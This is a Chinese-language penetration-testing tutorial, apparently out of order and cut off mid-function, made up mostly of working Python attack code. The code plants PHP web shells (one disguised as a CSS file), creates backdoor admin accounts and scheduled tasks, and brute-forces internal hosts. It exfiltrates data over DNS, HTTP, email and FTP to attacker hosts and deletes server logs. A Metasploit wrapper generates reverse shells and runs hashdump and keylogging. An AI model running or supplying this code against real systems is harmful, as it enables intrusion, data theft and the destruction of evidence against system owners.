第四部分:高级渗透技术与工具
4.1 自动化漏洞扫描工具
4.1.1 Burp Suite 高级使用
Burp Suite是Web应用安全测试的专业工具,提供了强大的功能和扩展性。
Burp Suite扩展开发示例:
# Burp Suite扩展 - 自定义SQL注入检测器
from burp import IBurpExtender, IScannerCheck, IScanIssue
from java.io import PrintWriter
class BurpExtender(IBurpExtender, IScannerCheck):
def registerExtenderCallbacks(self, callbacks):
self._callbacks = callbacks
self._helpers = callbacks.getHelpers()
callbacks.setExtensionName("Custom SQL Injection Scanner")
# 获取标准输出流
stdout = PrintWriter(callbacks.getStdout(), True)
stderr = PrintWriter(callbacks.getStderr(), True)
# 注册扫描器检查
callbacks.registerScannerCheck(self)
stdout.println("Custom SQL Injection Scanner loaded")
def doPassiveScan(self, baseRequestResponse):
"""被动扫描"""
return None
def doActiveScan(self, baseRequestResponse, insertionPoint):
"""主动扫描"""
issues = []
# 获取请求信息
request_info = self._helpers.analyzeRequest(baseRequestResponse)
parameters = request_info.getParameters()
# SQL注入payloads
sql_payloads = [
"' OR '1'='1",
"' OR 1=1--",
"'; DROP TABLE users--",
"' UNION SELECT NULL--",
"' AND 1=2--",
"' OR SLEEP(5)--"
]
for payload in sql_payloads:
# 构建测试请求
test_request = insertionPoint.buildRequest(
self._helpers.stringToBytes(payload)
)
# 发送请求
test_response = self._callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(),
test_request
)
# 分析响应
if self.isVulnerable(test_response, payload):
issues.append(
SQLInjectionIssue(
baseRequestResponse.getHttpService(),
self._helpers.analyzeRequest(baseRequestResponse).getUrl(),
[self._callbacks.applyMarkers(test_response, None, None)],
"SQL Injection",
"SQL injection vulnerability detected with payload: " + payload,
"High"
)
)
return issues
def isVulnerable(self, response, payload):
"""判断是否存在SQL注入漏洞"""
response_str = self._helpers.bytesToString(response.getResponse())
# 检查错误信息
error_patterns = [
"mysql_fetch_array",
"ORA-01756",
"Microsoft OLE DB Provider",
"SQLServer JDBC Driver",
"PostgreSQL query failed",
"Warning: mysql_",
"valid MySQL result",
"MySqlClient.",
"SQL syntax"
]
for pattern in error_patterns:
if pattern.lower() in response_str.lower():
return True
return False
# 使用示例
# 将代码保存为 .py 文件,然后在Burp Suite中加载扩展
4.3 后渗透技术
4.3.1 权限维持技术
import requests
import base64
import os
import time
import threading
class PostExploitation:
def __init__(self, target_url, session_cookie):
self.target_url = target_url
self.session = requests.Session()
self.session.cookies.set('sessionid', session_cookie)
self.maintained_access = False
def establish_persistence(self):
"""建立持久化访问"""
print("Establishing persistent access...")
# 1. 创建后门账户
if self.create_backdoor_account():
print("[SUCCESS] Backdoor account created")
# 2. 植入Web Shell
if self.plant_webshell():
print("[SUCCESS] Web shell planted")
# 3. 修改现有文件
if self.modify_existing_files():
print("[SUCCESS] Existing files modified")
# 4. 创建定时任务
if self.create_scheduled_task():
print("[SUCCESS] Scheduled task created")
def create_backdoor_account(self):
"""创建后门账户"""
backdoor_data = {
'username': 'system_maintenance',
'password': 'Maintenance@2024',
'email': 'maintenance@company.com',
'role': 'admin',
'csrf_token': self.get_csrf_token()
}
try:
response = self.session.post(f"{self.target_url}/admin/create-user",
data=backdoor_data)
if response.status_code == 200 and 'success' in response.text.lower():
return True
except Exception as e:
print(f"Failed to create backdoor account: {e}")
return False
def plant_webshell(self):
"""植入Web Shell"""
# 创建简单的PHP Web Shell
webshell_content = """<?php
if(isset($_GET['cmd'])) {
echo "<pre>";
system($_GET['cmd']);
echo "</pre>";
}
if(isset($_POST['upload'])) {
move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']);
echo "File uploaded successfully";
}
?>"""
# 尝试多种上传方式
upload_methods = [
self.upload_via_file_upload,
self.upload_via_log_injection,
self.upload_via_template_injection
]
for method in upload_methods:
if method(webshell_content):
return True
return False
def upload_via_file_upload(self, content):
"""通过文件上传植入Web Shell"""
files = {
'file': ('style.css', content, 'text/css')
}
try:
response = self.session.post(f"{self.target_url}/upload", files=files)
return response.status_code == 200
except:
return False
def upload_via_log_injection(self, content):
"""通过日志注入植入Web Shell"""
# 尝试通过错误日志注入
malicious_request = f"GET /{content} HTTP/1.1"
try:
response = self.session.get(f"{self.target_url}/nonexistent",
headers={'User-Agent': content})
return True
except:
return False
def upload_via_template_injection(self, content):
"""通过模板注入植入Web Shell"""
template_data = {
'template': content,
'name': 'error_page'
}
try:
response = self.session.post(f"{self.target_url}/admin/templates",
data=template_data)
return response.status_code == 200
except:
return False
def modify_existing_files(self):
"""修改现有文件"""
# 尝试修改常见的配置文件
config_files = [
'/config.php',
'/settings.php',
'/includes/config.php',
'/wp-config.php'
]
backdoor_code = "<?php if(isset($_GET['shell'])) eval($_GET['shell']); ?>"
for config_file in config_files:
if self.modify_file(config_file, backdoor_code):
return True
return False
def modify_file(self, file_path, content):
"""修改文件"""
try:
# 读取原文件
response = self.session.get(f"{self.target_url}{file_path}")
if response.status_code == 200:
original_content = response.text
modified_content = original_content + "\n" + content
# 尝试写入修改后的内容
write_data = {
'file_path': file_path,
'content': modified_content,
'csrf_token': self.get_csrf_token()
}
write_response = self.session.post(f"{self.target_url}/admin/edit-file",
data=write_data)
return write_response.status_code == 200
except Exception as e:
print(f"Failed to modify file {file_path}: {e}")
return False
def create_scheduled_task(self):
"""创建定时任务"""
# 创建定期连接回传的任务
task_data = {
'name': 'system_health_check',
'command': f'curl -X POST {self.target_url}/health-check -d "status=ok"',
'schedule': '*/5 * * * *', # 每5分钟执行一次
'csrf_token': self.get_csrf_token()
}
try:
response = self.session.post(f"{self.target_url}/admin/scheduled-tasks",
data=task_data)
return response.status_code == 200
except:
return False
def lateral_movement(self):
"""横向移动"""
print("Attempting lateral movement...")
# 1. 收集内网信息
network_info = self.collect_network_info()
# 2. 扫描内网主机
internal_hosts = self.scan_internal_network()
# 3. 尝试横向移动
for host in internal_hosts:
if self.attempt_lateral_movement(host):
print(f"[SUCCESS] Lateral movement to {host} successful")
def collect_network_info(self):
"""收集网络信息"""
network_info = {}
# 获取网络配置
try:
response = self.session.get(f"{self.target_url}/admin/system-info")
if response.status_code == 200:
network_info['system_info'] = response.text
except:
pass
# 获取路由表
try:
response = self.session.get(f"{self.target_url}/admin/network-config")
if response.status_code == 200:
network_info['network_config'] = response.text
except:
pass
return network_info
def scan_internal_network(self):
"""扫描内网"""
# 常见的内部网段
internal_ranges = [
'192.168.1.0/24',
'192.168.0.0/24',
'10.0.0.0/24',
'172.16.0.0/24'
]
found_hosts = []
for network_range in internal_ranges:
# 简化处理,实际应该进行真正的网络扫描
base_ip = network_range.split('/')[0].rsplit('.', 1)[0]
for i in range(1, 255):
ip = f"{base_ip}.{i}"
if self.check_host_alive(ip):
found_hosts.append(ip)
return found_hosts
def check_host_alive(self, ip):
"""检查主机是否存活"""
try:
# 通过SSRF或其他方式检查主机
response = self.session.get(f"{self.target_url}/admin/ping",
params={'host': ip}, timeout=3)
return response.status_code == 200
except:
return False
def attempt_lateral_movement(self, target_host):
"""尝试横向移动"""
# 尝试常见的横向移动技术
techniques = [
self.attempt_ssh_bruteforce,
self.attempt_smb_exploit,
self.attempt_web_application_attack
]
for technique in techniques:
if technique(target_host):
return True
return False
def attempt_ssh_bruteforce(self, target_host):
"""尝试SSH暴力破解"""
common_credentials = [
('root', 'root'),
('admin', 'admin'),
('administrator', 'password'),
('root', 'password')
]
for username, password in common_credentials:
if self.test_ssh_login(target_host, username, password):
return True
return False
def test_ssh_login(self, host, username, password):
"""测试SSH登录"""
# 通过Web应用测试SSH连接
ssh_data = {
'host': host,
'username': username,
'password': password,
'command': 'whoami'
}
try:
response = self.session.post(f"{self.target_url}/admin/ssh-test",
data=ssh_data)
return 'root' in response.text or username in response.text
except:
return False
def attempt_smb_exploit(self, target_host):
"""尝试SMB漏洞利用"""
# 检查SMB服务
smb_data = {
'host': target_host,
'share': 'C$',
'username': 'administrator',
'password': 'password'
}
try:
response = self.session.post(f"{self.target_url}/admin/smb-test",
data=smb_data)
return response.status_code == 200
except:
return False
def attempt_web_application_attack(self, target_host):
"""尝试Web应用攻击"""
# 尝试访问目标主机的Web服务
web_urls = [
f"http://{target_host}",
f"https://{target_host}",
f"http://{target_host}:8080",
f"http://{target_host}:8443"
]
for url in web_urls:
if self.test_web_access(url):
return True
return False
def test_web_access(self, url):
"""测试Web访问"""
try:
response = self.session.get(f"{self.target_url}/admin/proxy",
params={'url': url}, timeout=5)
return response.status_code == 200
except:
return False
def data_exfiltration(self):
"""数据外泄"""
print("Attempting data exfiltration...")
# 1. 收集敏感数据
sensitive_data = self.collect_sensitive_data()
# 2. 压缩数据
compressed_data = self.compress_data(sensitive_data)
# 3. 外泄数据
exfiltration_methods = [
self.exfiltrate_via_dns,
self.exfiltrate_via_http,
self.exfiltrate_via_email,
self.exfiltrate_via_ftp
]
for method in exfiltration_methods:
if method(compressed_data):
print("[SUCCESS] Data exfiltration successful")
return True
return False
def collect_sensitive_data(self):
"""收集敏感数据"""
sensitive_data = {}
# 收集数据库信息
try:
response = self.session.get(f"{self.target_url}/admin/database-dump")
if response.status_code == 200:
sensitive_data['database'] = response.text
except:
pass
# 收集配置文件
try:
response = self.session.get(f"{self.target_url}/admin/config-files")
if response.status_code == 200:
sensitive_data['config'] = response.text
except:
pass
# 收集用户信息
try:
response = self.session.get(f"{self.target_url}/admin/user-list")
if response.status_code == 200:
sensitive_data['users'] = response.text
except:
pass
return sensitive_data
def compress_data(self, data):
"""压缩数据"""
import json
import zlib
json_data = json.dumps(data)
compressed = zlib.compress(json_data.encode())
return base64.b64encode(compressed).decode()
def exfiltrate_via_dns(self, data):
"""通过DNS外泄数据"""
# 将数据分块并通过DNS查询外泄
chunk_size = 50
chunks = [data[i:i+chunk_size] for i in range(0, len(data), chunk_size)]
for i, chunk in enumerate(chunks):
dns_query = f"{chunk}.{i}.exfil.example.com"
try:
response = self.session.get(f"{self.target_url}/admin/dns-lookup",
params={'domain': dns_query})
except:
pass
return True
def exfiltrate_via_http(self, data):
"""通过HTTP外泄数据"""
try:
exfil_data = {
'data': data,
'source': self.target_url
}
response = self.session.post("http://attacker-server.com/collect",
json=exfil_data)
return response.status_code == 200
except:
return False
def exfiltrate_via_email(self, data):
"""通过邮件外泄数据"""
try:
email_data = {
'to': 'attacker@example.com',
'subject': 'System Report',
'body': data,
'csrf_token': self.get_csrf_token()
}
response = self.session.post(f"{self.target_url}/admin/send-email",
data=email_data)
return response.status_code == 200
except:
return False
def exfiltrate_via_ftp(self, data):
"""通过FTP外泄数据"""
try:
ftp_data = {
'server': 'ftp.attacker.com',
'username': 'anonymous',
'password': '',
'filename': 'data.txt',
'content': data
}
response = self.session.post(f"{self.target_url}/admin/ftp-upload",
data=ftp_data)
return response.status_code == 200
except:
return False
def get_csrf_token(self):
"""获取CSRF令牌"""
try:
response = self.session.get(f"{self.target_url}/admin")
# 从响应中提取CSRF令牌
import re
match = re.search(r'name="csrf_token" value="([^"]+)"', response.text)
return match.group(1) if match else ''
except:
return ''
def cleanup_evidence(self):
"""清理攻击痕迹"""
print("Cleaning up evidence...")
# 1. 删除日志文件
self.delete_log_files()
# 2. 修改时间戳
self.modify_timestamps()
# 3. 删除临时文件
self.delete_temp_files()
# 4. 清除浏览器历史
self.clear_browser_history()
def delete_log_files(self):
"""删除日志文件"""
log_files = [
'/var/log/apache2/access.log',
'/var/log/apache2/error.log',
'/var/log/nginx/access.log',
'/var/log/nginx/error.log',
'/var/log/auth.log',
'/var/log/syslog'
]
for log_file in log_files:
try:
self.session.post(f"{self.target_url}/admin/delete-file",
data={'file_path': log_file})
except:
pass
def modify_timestamps(self):
"""修改时间戳"""
try:
# 修改文件时间戳
self.session.post(f"{self.target_url}/admin/modify-timestamps",
data={'action': 'randomize'})
except:
pass
def delete_temp_files(self):
"""删除临时文件"""
try:
self.session.post(f"{self.target_url}/admin/cleanup-temp",
data={'action': 'delete_all'})
except:
pass
def clear_browser_history(self):
"""清除浏览器历史"""
try:
self.session.post(f"{self.target_url}/admin/clear-history",
data={'action': 'clear_all'})
except:
pass
# 使用示例
def main():
target_url = "http://vulnerable-app.com"
session_cookie = "stolen_session_cookie"
post_exploit = PostExploitation(target_url, session_cookie)
# 建立持久化访问
post_exploit.establish_persistence()
# 横向移动
post_exploit.lateral_movement()
# 数据外泄
post_exploit.data_exfiltration()
# 清理痕迹
post_exploit.cleanup_evidence()
if __name__ == "__main__":
main()
4.3.2 漏洞利用框架使用
#!/usr/bin/env python3
"""
Metasploit Framework 集成示例
注意:这仅用于教育和授权的渗透测试
"""
import subprocess
import json
import time
import threading
from queue import Queue
class MetasploitIntegration:
def __init__(self):
self.msfconsole = None
self.exploit_queue = Queue()
self.results = []
def start_msfconsole(self):
"""启动Metasploit控制台"""
try:
self.msfconsole = subprocess.Popen(
['msfconsole', '-q'],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True
)
print("[INFO] Metasploit console started")
return True
except Exception as e:
print(f"[ERROR] Failed to start Metasploit: {e}")
return False
def execute_msf_command(self, command):
"""执行Metasploit命令"""
if not self.msfconsole:
return None
try:
self.msfconsole.stdin.write(command + '\n')
self.msfconsole.stdin.flush()
# 读取输出
output = ""
time.sleep(1) # 等待命令执行
# 这里需要更复杂的输出处理逻辑
return output
except Exception as e:
print(f"[ERROR] Command execution failed: {e}")
return None
def exploit_web_vulnerability(self, target_url, vulnerability_type):
"""利用Web漏洞"""
print(f"Exploiting {vulnerability_type} on {target_url}")
if vulnerability_type == "sql_injection":
return self.exploit_sql_injection(target_url)
elif vulnerability_type == "command_injection":
return self.exploit_command_injection(target_url)
elif vulnerability_type == "file_upload":
return self.exploit_file_upload(target_url)
else:
print(f"[WARNING] Unknown vulnerability type: {vulnerability_type}")
return False
def exploit_sql_injection(self, target_url):
"""利用SQL注入漏洞"""
# 使用Metasploit的SQL注入模块
commands = [
"use auxiliary/admin/http/tomcat_administration",
f"set RHOSTS {target_url}",
"set RPORT 80",
"exploit"
]
for command in commands:
result = self.execute_msf_command(command)
if result and "success" in result.lower():
print("[SUCCESS] SQL injection exploit successful")
return True
return False
def exploit_command_injection(self, target_url):
"""利用命令注入漏洞"""
# 使用命令注入模块
commands = [
"use exploit/unix/webapp/php_cgi_arg_injection",
f"set RHOSTS {target_url}",
"set RPORT 80",
"exploit"
]
for command in commands:
result = self.execute_msf_command(command)
if result and "session opened" in result.lower():
print("[SUCCESS] Command injection exploit successful")
return True
return False
def exploit_file_upload(self, target_url):
"""利用文件上传漏洞"""
# 使用文件上传漏洞模块
commands = [
"use exploit/unix/webapp/php_include",
f"set RHOSTS {target_url}",
"set RPORT 80",
"exploit"
]
for command in commands:
result = self.execute_msf_command(command)
if result and "session opened" in result.lower():
print("[SUCCESS] File upload exploit successful")
return True
return False
def create_payload(self, target_os, payload_type):
"""创建载荷"""
print(f"Creating {payload_type} payload for {target_os}")
if payload_type == "reverse_shell":
return self.create_reverse_shell_payload(target_os)
elif payload_type == "meterpreter":
return self.create_meterpreter_payload(target_os)
elif payload_type == "web_shell":
return self.create_web_shell_payload()
else:
print(f"[WARNING] Unknown payload type: {payload_type}")
return None
def create_reverse_shell_payload(self, target_os):
"""创建反向Shell载荷"""
if target_os.lower() == "windows":
commands = [
"use payload/windows/shell_reverse_tcp",
"set LHOST 192.168.1.100", # 攻击者IP
"set LPORT 4444",
"generate -f exe -o /tmp/shell.exe"
]
else: # Linux/Unix
commands = [
"use payload/linux/x86/shell_reverse_tcp",
"set LHOST 192.168.1.100",
"set LPORT 4444",
"generate -f elf -o /tmp/shell"
]
for command in commands:
result = self.execute_msf_command(command)
if result and "payload written" in result.lower():
print("[SUCCESS] Reverse shell payload created")
return True
return False
def create_meterpreter_payload(self, target_os):
"""创建Meterpreter载荷"""
if target_os.lower() == "windows":
commands = [
"use payload/windows/meterpreter/reverse_tcp",
"set LHOST 192.168.1.100",
"set LPORT 4444",
"generate -f exe -o /tmp/meterpreter.exe"
]
else:
commands = [
"use payload/linux/x86/meterpreter/reverse_tcp",
"set LHOST 192.168.1.100",
"set LPORT 4444",
"generate -f elf -o /tmp/meterpreter"
]
for command in commands:
result = self.execute_msf_command(command)
if result and "payload written" in result.lower():
print("[SUCCESS] Meterpreter payload created")
return True
return False
def create_web_shell_payload(self):
"""创建Web Shell载荷"""
web_shell = """<?php
if(isset($_GET['cmd'])) {
echo "<pre>";
system($_GET['cmd']);
echo "</pre>";
}
if(isset($_POST['upload'])) {
move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']);
echo "File uploaded successfully";
}
?>"""
# 保存Web Shell到文件
with open('/tmp/webshell.php', 'w') as f:
f.write(web_shell)
print("[SUCCESS] Web shell payload created")
return True
def setup_listener(self, payload_type, port=4444):
"""设置监听器"""
print(f"Setting up {payload_type} listener on port {port}")
if payload_type == "reverse_shell":
commands = [
"use exploit/multi/handler",
"set PAYLOAD generic/shell_reverse_tcp",
f"set LPORT {port}",
"exploit -j"
]
elif payload_type == "meterpreter":
commands = [
"use exploit/multi/handler",
"set PAYLOAD windows/meterpreter/reverse_tcp",
f"set LPORT {port}",
"exploit -j"
]
else:
print(f"[WARNING] Unknown payload type for listener: {payload_type}")
return False
for command in commands:
result = self.execute_msf_command(command)
if result and "started" in result.lower():
print(f"[SUCCESS] Listener started on port {port}")
return True
return False
def interact_with_session(self, session_id):
"""与会话交互"""
print(f"Interacting with session {session_id}")
commands = [
f"sessions -i {session_id}",
"sysinfo",
"getuid",
"pwd",
"ls"
]
for command in commands:
result = self.execute_msf_command(command)
if result:
print(f"[OUTPUT] {result}")
return True
def post_exploitation_commands(self, session_id):
"""后渗透命令"""
print(f"Running post-exploitation commands on session {session_id}")
post_commands = [
f"sessions -i {session_id}",
"getsystem", # 提权
"hashdump", # 转储密码哈希
"screenshot", # 截图
"webcam_list", # 列出摄像头
"keyscan_start", # 开始键盘记录
"download /etc/passwd /tmp/passwd", # 下载文件
"upload /tmp/payload.exe C:\\temp\\payload.exe" # 上传文件
]
for command in post_commands:
result = self.execute_msf_command(command)
if result:
print(f"[POST-EXPLOIT] {result}")
return True
def cleanup_sessions(self):
"""清理会话"""
print("Cleaning up sessions...")
commands = [
"sessions -K", # 终止所有会话
"exit" # 退出Metasploit
]
for command in commands:
self.execute_msf_command(command)
if self.msfconsole:
self.msfconsole.terminate()
print("[INFO] Metasploit cleanup completed")
def generate_report(self):
"""生成利用报告"""
report = {
'timestamp': time.strftime('%Y-%m-%d %H:%M:%S'),
'exploits_attempted': len(self.results),
'successful_exploits': len([r for r in self.results if r.get('success', False)]),
'results': self.results
}
with open('metasploit_report.json', 'w') as f:
json.dump(report, f, indent=2)
print("[INFO] Metasploit report generated: metasploit_report.json")
return report
# 使用示例
def main():
msf = MetasploitIntegration()
# 启动Metasploit
if not msf.start_msfconsole():
return
try:
# 设置监听器
msf.setup_listener("meterpreter", 4444)
# 创建载荷
msf.create_meterpreter_payload("windows")
# 利用漏洞(这里需要实际的漏洞利用)
# msf.exploit_web_vulnerability("http://target.com", "sql_injection")
# 等待会话建立
time.sleep(10)
# 与会话交互
# msf.interact_with_session(1)
# 后渗透
# msf.post_exploitation_commands(1)
finally:
# 清理
msf.cleanup_sessions()
# 生成报告
msf.generate_report()
if __name__ == "__main__":
main()
通过以上内容,我们已经详细介绍了Web渗透测试中的主要漏洞类型。每个部分都包含了详细的攻击示例、代码实现和防护措施,帮助读者全面理解这些安全风险及其防护方法。
接下来我将继续编写剩余的部分,包括其他OWASP Top 10漏洞类型、高级渗透技术和实战案例等内容。
3.1.7 A07: 身份识别和认证失效 (Identification and Authentication Failures)
身份识别和认证失效是指应用程序的身份验证机制存在缺陷,导致攻击者能够绕过认证或冒充合法用户。
常见认证缺陷:
- 弱密码策略
- 会话管理缺陷
- 多因素认证绕过
- 密码重置漏洞
攻击示例:
import requests
import itertools
import threading
from concurrent.futures import ThreadPoolExecutor
class AuthenticationTester:
def __init__(self, base_url):
self.base_url = base_url
self.session = requests.Session()
def test_weak_passwords(self, username):
"""测试弱密码"""
print(f"Testing weak passwords for user: {username}")
# 常见弱密码列表
weak_passwords = [
'password', '123456', 'admin', 'root', 'user',
'password123', 'admin123', '123456789', 'qwerty',
'letmein', 'welcome', 'monkey', 'dragon', 'master'
]
for password in weak_passwords:
if self.attempt_login(username, password):
print(f"[VULNERABLE] Weak password found: {username}/{password}")
return True
return False
def test_brute_force(self, username, password_list):
"""暴力破解测试"""
print(f"Testing brute force attack on user: {username}")
def attempt_login_thread(password):
if self.attempt_login(username, password):
print(f"[VULNERABLE] Password found: {username}/{password}")
return password
return None
with ThreadPoolExecutor(max_workers=10) as executor:
futures = [executor.submit(attempt_login_thread, pwd) for pwd in password_list]
for future in futures:
result = future.result()
if result:
return result
return None
def test_session_management(self):
"""测试会话管理"""
print("Testing session management...")
# 登录获取会话
login_data = {'username': 'test', 'password': 'test'}
response = self.session.post(f"{self.base_url}/login", data=login_data)
if response.status_code == 200:
# 检查会话令牌
session_cookie = self.session.cookies.get('sessionid')
if session_cookie:
# 测试会话固定
if self.test_session_fixation(session_cookie):
print("[VULNERABLE] Session fixation vulnerability detected")
# 测试会话超时
if self.test_session_timeout(session_cookie):
print("[VULNERABLE] Session timeout not properly implemented")
# 测试并发会话
if self.test_concurrent_sessions(session_cookie):
print("[VULNERABLE] Multiple concurrent sessions allowed")
def test_password_reset(self, email):
"""测试密码重置功能"""
print(f"Testing password reset for: {email}")
# 测试密码重置令牌预测
if self.test_reset_token_prediction(email):
print("[VULNERABLE] Password reset token is predictable")
# 测试密码重置绕过
if self.test_reset_bypass(email):
print("[VULNERABLE] Password reset can be bypassed")
# 测试密码重置信息泄露
if self.test_reset_info_disclosure(email):
print("[VULNERABLE] Password reset reveals user information")
def attempt_login(self, username, password):
"""尝试登录"""
login_data = {
'username': username,
'password': password
}
try:
response = self.session.post(f"{self.base_url}/login", data=login_data)
# 检查登录是否成功
if 'dashboard' in response.text or 'welcome' in response.text:
return True
except Exception:
pass
return False
def test_session_fixation(self, session_token):
"""测试会话固定攻击"""
# 使用已知的会话令牌尝试访问受保护页面
self.session.cookies.set('sessionid', session_token)
response = self.session.get(f"{self.base_url}/dashboard")
return response.status_code == 200
def test_session_timeout(self, session_token):
"""测试会话超时"""
import time
# 等待一段时间后测试会话是否仍然有效
time.sleep(3600) # 等待1小时
self.session.cookies.set('sessionid', session_token)
response = self.session.get(f"{self.base_url}/dashboard")
# 如果会话仍然有效,说明超时机制有问题
return response.status_code == 200
def test_concurrent_sessions(self, session_token):
"""测试并发会话"""
# 创建新的会话
new_session = requests.Session()
# 尝试使用相同的凭据登录
login_data = {'username': 'test', 'password': 'test'}
response = new_session.post(f"{self.base_url}/login", data=login_data)
# 如果新会话也成功,说明允许多个并发会话
return response.status_code == 200
def test_reset_token_prediction(self, email):
"""测试密码重置令牌预测"""
# 请求密码重置
reset_data = {'email': email}
response = self.session.post(f"{self.base_url}/forgot-password", data=reset_data)
# 尝试预测重置令牌
predictable_tokens = [
'123456', '000000', '111111', '1234567890',
email.replace('@', '').replace('.', ''),
str(int(time.time()))
]
for token in predictable_tokens:
if self.test_reset_token(email, token):
return True
return False
def test_reset_bypass(self, email):
"""测试密码重置绕过"""
# 尝试直接访问密码重置页面而不需要令牌
response = self.session.get(f"{self.base_url}/reset-password")
return response.status_code == 200
def test_reset_info_disclosure(self, email):
"""测试密码重置信息泄露"""
# 测试不存在的邮箱
fake_email = 'nonexistent@example.com'
response = self.session.post(f"{self.base_url}/forgot-password",
data={'email': fake_email})
# 如果响应不同,说明泄露了用户信息
real_response = self.session.post(f"{self.base_url}/forgot-password",
data={'email': email})
return response.text != real_response.text
def test_reset_token(self, email, token):
"""测试重置令牌"""
reset_data = {
'email': email,
'token': token,
'new_password': 'newpassword123'
}
response = self.session.post(f"{self.base_url}/reset-password", data=reset_data)
return response.status_code == 200
# 使用示例
auth_tester = AuthenticationTester("http://vulnerable-app.com")
auth_tester.test_weak_passwords("admin")
auth_tester.test_session_management()
auth_tester.test_password_reset("admin@example.com")
3.1.8 A08: 软件和数据完整性失效 (Software and Data Integrity Failures)
软件和数据完整性失效是指应用程序未能验证软件和数据的完整性,导致恶意代码执行或数据篡改。
攻击示例:
import hashlib
import hmac
import requests
import json
class IntegrityTester:
def __init__(self, base_url):
self.base_url = base_url
self.session = requests.Session()
def test_file_upload_integrity(self):
"""测试文件上传完整性"""
print("Testing file upload integrity...")
# 创建恶意文件
malicious_content = """
<?php
if(isset($_GET['cmd'])) {
system($_GET['cmd']);
}
?>
"""
# 尝试上传恶意文件
files = {
'file': ('shell.php', malicious_content, 'application/octet-stream')
}
response = self.session.post(f"{self.base_url}/upload", files=files)
if response.status_code == 200:
# 检查文件是否被成功上传
if self.check_uploaded_file('shell.php'):
print("[VULNERABLE] Malicious file upload successful")
return True
return False
def test_package_integrity(self):
"""测试软件包完整性"""
print("Testing package integrity...")
# 检查是否有包管理器配置文件
package_files = [
'/package.json',
'/composer.json',
'/requirements.txt',
'/pom.xml',
'/build.gradle'
]
for package_file in package_files:
response = self.session.get(f"{self.base_url}{package_file}")
if response.status_code == 200:
print(f"[INFO] Found package file: {package_file}")
# 检查是否有已知漏洞的依赖
if self.check_vulnerable_dependencies(response.text):
print(f"[VULNERABLE] Vulnerable dependencies found in {package_file}")
def test_data_integrity(self):
"""测试数据完整性"""
print("Testing data integrity...")
# 测试数据篡改
if self.test_data_tampering():
print("[VULNERABLE] Data tampering possible")
# 测试数据验证绕过
if self.test_validation_bypass():
print("[VULNERABLE] Data validation can be bypassed")
def check_uploaded_file(self, filename):
"""检查上传的文件"""
try:
response = self.session.get(f"{self.base_url}/uploads/{filename}")
return response.status_code == 200
except:
return False
def check_vulnerable_dependencies(self, package_content):
"""检查易受攻击的依赖"""
# 已知的易受攻击的包
vulnerable_packages = [
'jquery@1.6.0', # XSS漏洞
'lodash@4.17.0', # 原型污染
'moment@2.19.0', # 正则表达式DoS
'express@4.0.0' # 路径遍历
]
for package in vulnerable_packages:
if package in package_content:
return True
return False
def test_data_tampering(self):
"""测试数据篡改"""
# 尝试修改用户数据
user_data = {
'id': 1,
'username': 'admin',
'role': 'admin', # 尝试提升权限
'balance': 999999 # 尝试修改余额
}
response = self.session.post(f"{self.base_url}/api/user/update",
json=user_data)
# 检查是否成功修改
if response.status_code == 200:
check_response = self.session.get(f"{self.base_url}/api/user/1")
if check_response.status_code == 200:
data = check_response.json()
if data.get('role') == 'admin' or data.get('balance') == 999999:
return True
return False
def test_validation_bypass(self):
"""测试验证绕过"""
# 尝试绕过客户端验证
malicious_data = {
'email': 'admin@example.com',
'password': 'admin',
'role': 'admin',
'csrf_token': 'bypass'
}
response = self.session.post(f"{self.base_url}/api/register",
json=malicious_data)
return response.status_code == 200
# 使用示例
integrity_tester = IntegrityTester("http://vulnerable-app.com")
integrity_tester.test_file_upload_integrity()
integrity_tester.test_package_integrity()
integrity_tester.test_data_integrity()
3.1.9 A09: 安全日志记录和监控失效 (Security Logging and Monitoring Failures)
安全日志记录和监控失效是指应用程序未能正确记录和监控安全事件,导致攻击无法被及时发现和响应。
攻击示例:
import time
import json
import requests
from datetime import datetime, timedelta
class LoggingTester:
def __init__(self, base_url):
self.base_url = base_url
self.session = requests.Session()
def test_logging_bypass(self):
"""测试日志绕过"""
print("Testing logging bypass...")
# 尝试各种攻击而不被记录
attacks = [
self.test_sql_injection_logging,
self.test_xss_logging,
self.test_brute_force_logging,
self.test_privilege_escalation_logging
]
for attack in attacks:
if not attack():
print("[VULNERABLE] Attack not properly logged")
def test_sql_injection_logging(self):
"""测试SQL注入日志记录"""
payload = "' OR 1=1--"
response = self.session.get(f"{self.base_url}/search",
params={'q': payload})
# 检查日志是否记录了这次攻击
return self.check_log_entry('sql_injection', payload)
def test_xss_logging(self):
"""测试XSS日志记录"""
payload = "<script>alert('xss')</script>"
response = self.session.get(f"{self.base_url}/comment",
params={'text': payload})
return self.check_log_entry('xss', payload)
def test_brute_force_logging(self):
"""测试暴力破解日志记录"""
for i in range(10):
response = self.session.post(f"{self.base_url}/login",
data={'username': 'admin', 'password': f'wrong{i}'})
return self.check_log_entry('brute_force', 'admin')
def test_privilege_escalation_logging(self):
"""测试权限提升日志记录"""
# 尝试访问管理员页面
response = self.session.get(f"{self.base_url}/admin")
return self.check_log_entry('unauthorized_access', '/admin')
def check_log_entry(self, attack_type, payload):
"""检查日志条目"""
# 这里应该检查实际的日志文件
# 简化处理,假设有日志检查接口
try:
response = self.session.get(f"{self.base_url}/admin/logs")
if response.status_code == 200:
logs = response.json()
# 检查最近的日志条目
recent_logs = [log for log in logs
if datetime.fromisoformat(log['timestamp']) >
datetime.now() - timedelta(minutes=5)]
for log in recent_logs:
if attack_type in log.get('type', '') and payload in log.get('details', ''):
return True
except Exception:
pass
return False
def test_log_tampering(self):
"""测试日志篡改"""
print("Testing log tampering...")
# 尝试删除或修改日志条目
log_id = 1
# 尝试删除日志
delete_response = self.session.delete(f"{self.base_url}/admin/logs/{log_id}")
if delete_response.status_code == 200:
print("[VULNERABLE] Log entries can be deleted")
return True
# 尝试修改日志
modified_log = {
'id': log_id,
'type': 'normal_access',
'details': 'Legitimate user access'
}
modify_response = self.session.put(f"{self.base_url}/admin/logs/{log_id}",
json=modified_log)
if modify_response.status_code == 200:
print("[VULNERABLE] Log entries can be modified")
return True
return False
def test_log_injection(self):
"""测试日志注入"""
print("Testing log injection...")
# 尝试注入恶意内容到日志中
malicious_input = "admin\n[CRITICAL] System compromised by attacker"
response = self.session.post(f"{self.base_url}/login",
data={'username': malicious_input, 'password': 'test'})
# 检查日志是否被注入
if self.check_log_injection(malicious_input):
print("[VULNERABLE] Log injection successful")
return True
return False
def check_log_injection(self, malicious_input):
